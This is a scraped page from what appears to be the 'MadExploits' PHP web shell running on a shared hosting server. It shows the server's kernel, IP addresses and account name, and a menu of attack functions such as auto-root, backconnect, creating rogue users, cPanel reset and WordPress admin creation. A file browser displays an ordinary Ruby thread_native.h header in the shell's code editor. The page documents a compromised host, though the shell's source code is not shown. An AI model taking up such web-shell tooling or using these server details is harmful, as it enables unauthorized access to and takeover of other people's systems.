Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 3.146.152.147
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby31 /
include /
ruby /
[ HOME SHELL ]
Name
Size
Permission
Action
backward
[ DIR ]
drwxr-xr-x
fiber
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
assert.h
7.55
KB
-rw-r--r--
atomic.h
26.18
KB
-rw-r--r--
backward.h
2.47
KB
-rw-r--r--
config-x86_64.h
13.25
KB
-rw-r--r--
config.h
1.19
KB
-rw-r--r--
debug.h
21.78
KB
-rw-r--r--
defines.h
2.76
KB
-rw-r--r--
digest.h
1.69
KB
-rw-r--r--
encoding.h
1.28
KB
-rw-r--r--
intern.h
2.34
KB
-rw-r--r--
io.h
33.13
KB
-rw-r--r--
memory_view.h
10.79
KB
-rw-r--r--
missing.h
4.82
KB
-rw-r--r--
onigmo.h
43.61
KB
-rw-r--r--
oniguruma.h
262
B
-rw-r--r--
ractor.h
8.71
KB
-rw-r--r--
random.h
9.65
KB
-rw-r--r--
re.h
5.44
KB
-rw-r--r--
regex.h
1011
B
-rw-r--r--
ruby.h
11.3
KB
-rw-r--r--
st.h
7.39
KB
-rw-r--r--
subst.h
806
B
-rw-r--r--
thread.h
7.41
KB
-rw-r--r--
thread_native.h
6.34
KB
-rw-r--r--
util.h
8.22
KB
-rw-r--r--
version.h
4.7
KB
-rw-r--r--
vm.h
2.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : thread_native.h
#ifndef RUBY_THREAD_NATIVE_H /*-*-C++-*-vi:se ft=cpp:*/ #define RUBY_THREAD_NATIVE_H 1 /** * @file * @author $Author: ko1 $ * @date Wed May 14 19:37:31 2014 * @copyright Copyright (C) 2014 Yukihiro Matsumoto * @copyright This file is a part of the programming language Ruby. * Permission is hereby granted, to either redistribute and/or * modify this file, provided that the conditions mentioned in the * file COPYING are met. Consult the file for details. * * This file contains wrapper APIs for native thread primitives * which Ruby interpreter uses. * * Now, we only support pthread and Windows threads. * * If you want to use Ruby's Mutex and so on to synchronize Ruby Threads, * please use Mutex directly. */ #if defined(_WIN32) #include <windows.h> typedef HANDLE rb_nativethread_id_t; typedef union rb_thread_lock_union { HANDLE mutex; CRITICAL_SECTION crit; } rb_nativethread_lock_t; typedef struct rb_thread_cond_struct rb_nativethread_cond_t; #elif defined(HAVE_PTHREAD_H) #include <pthread.h> typedef pthread_t rb_nativethread_id_t; typedef pthread_mutex_t rb_nativethread_lock_t; typedef pthread_cond_t rb_nativethread_cond_t; #elif defined(__DOXYGEN__) /** Opaque type that holds an ID of a native thread. */ struct rb_nativethread_id_t; /** Opaque type that holds a lock. */ struct rb_nativethread_lock_t; /** Opaque type that holds a condition variable. */ struct rb_nativethread_cond_t; #else #error "unsupported thread type" #endif RBIMPL_SYMBOL_EXPORT_BEGIN() /** * Queries the ID of the native thread that is calling this function. * * @return The caller thread's native ID. */ rb_nativethread_id_t rb_nativethread_self(void); /** * Fills the passed lock with an initial value. * * @param[out] lock A mutex to initialise. * @post `lock` is updated to its initial state. * * @internal * * There is no data structure that analogous to pthread_once_t in ruby. It is * pretty much tricky (if not impossible) to properly initialise a mutex * exactly once. */ void rb_nativethread_lock_initialize(rb_nativethread_lock_t *lock); /** * Destroys the passed mutex. * * @param[out] lock A mutex to kill. * @post `lock` is no longer eligible for other functions. * * @internal * * It is an undefined behaviour (see `pthread_mutex_destroy(3posix)`) to * destroy a locked mutex. So it has to be unlocked. But an unlocked mutex * can of course be locked by another thread. That's the ultimate reason why * we do mutex. There is an inevitable race condition here. 2017 edition of * IEEE 1003.1 issue 7 says in its rationale that "care must be taken". Care? * How? * * @shyouhei thinks that POSIX is broken by design. */ void rb_nativethread_lock_destroy(rb_nativethread_lock_t *lock); /** * Blocks until the current thread obtains a lock. * * @param[out] lock A mutex to lock. * @post `lock` is owned by the current native thread. */ void rb_nativethread_lock_lock(rb_nativethread_lock_t *lock); /** * Releases a lock. * * @param[out] lock A mutex to unlock. * @pre `lock` is owned by the current native thread. * @post `lock` is not owned by the current native thread. */ void rb_nativethread_lock_unlock(rb_nativethread_lock_t *lock); /** @alias{rb_nativethread_lock_lock} */ void rb_native_mutex_lock(rb_nativethread_lock_t *lock); /** * Identical to rb_native_mutex_lock(), except it doesn't block in case * rb_native_mutex_lock() would. * * @param[out] lock A mutex to lock. * @retval 0 `lock` is successfully owned by the current thread. * @retval EBUSY `lock` is owned by someone else. */ int rb_native_mutex_trylock(rb_nativethread_lock_t *lock); /** @alias{rb_nativethread_lock_unlock} */ void rb_native_mutex_unlock(rb_nativethread_lock_t *lock); /** @alias{rb_nativethread_lock_initialize} */ void rb_native_mutex_initialize(rb_nativethread_lock_t *lock); /** @alias{rb_nativethread_lock_destroy} */ void rb_native_mutex_destroy(rb_nativethread_lock_t *lock); /** * Signals a condition variable. * * @param[out] cond A condition variable to ping. * @post More than one threads waiting for `cond` gets signalled. * @note This function can spuriously wake multiple threads up. * `pthread_cond_signal(3posix)` says it can even be "impossible * to avoid the unblocking of more than one thread blocked on a * condition variable". Just brace spurious wakeups. */ void rb_native_cond_signal(rb_nativethread_cond_t *cond); /** * Signals a condition variable. * * @param[out] cond A condition variable to ping. * @post All threads waiting for `cond` gets signalled. */ void rb_native_cond_broadcast(rb_nativethread_cond_t *cond); /** * Waits for the passed condition variable to be signalled. * * @param[out] cond A condition variable to wait. * @param[out] mutex A mutex. * @pre `mutex` is owned by the current thread. * @post `mutex` is owned by the current thread. * @note This can wake up spuriously. */ void rb_native_cond_wait(rb_nativethread_cond_t *cond, rb_nativethread_lock_t *mutex); /** * Identical to rb_native_cond_wait(), except it additionally takes timeout in * msec resolution. Timeouts can be detected by catching exceptions. * * @param[out] cond A condition variable to wait. * @param[out] mutex A mutex. * @param[in] msec Timeout. * @exception rb_eSystemCallError `Errno::ETIMEDOUT` for timeout. * @pre `mutex` is owned by the current thread. * @post `mutex` is owned by the current thread. * @note This can wake up spuriously. */ void rb_native_cond_timedwait(rb_nativethread_cond_t *cond, rb_nativethread_lock_t *mutex, unsigned long msec); /** * Fills the passed condition variable with an initial value. * * @param[out] cond A condition variable to initialise. * @post `cond` is updated to its initial state. */ void rb_native_cond_initialize(rb_nativethread_cond_t *cond); /** * Destroys the passed condition variable. * * @param[out] cond A condition variable to kill. * @post `cond` is no longer eligible for other functions. */ void rb_native_cond_destroy(rb_nativethread_cond_t *cond); RBIMPL_SYMBOL_EXPORT_END() #endif
Close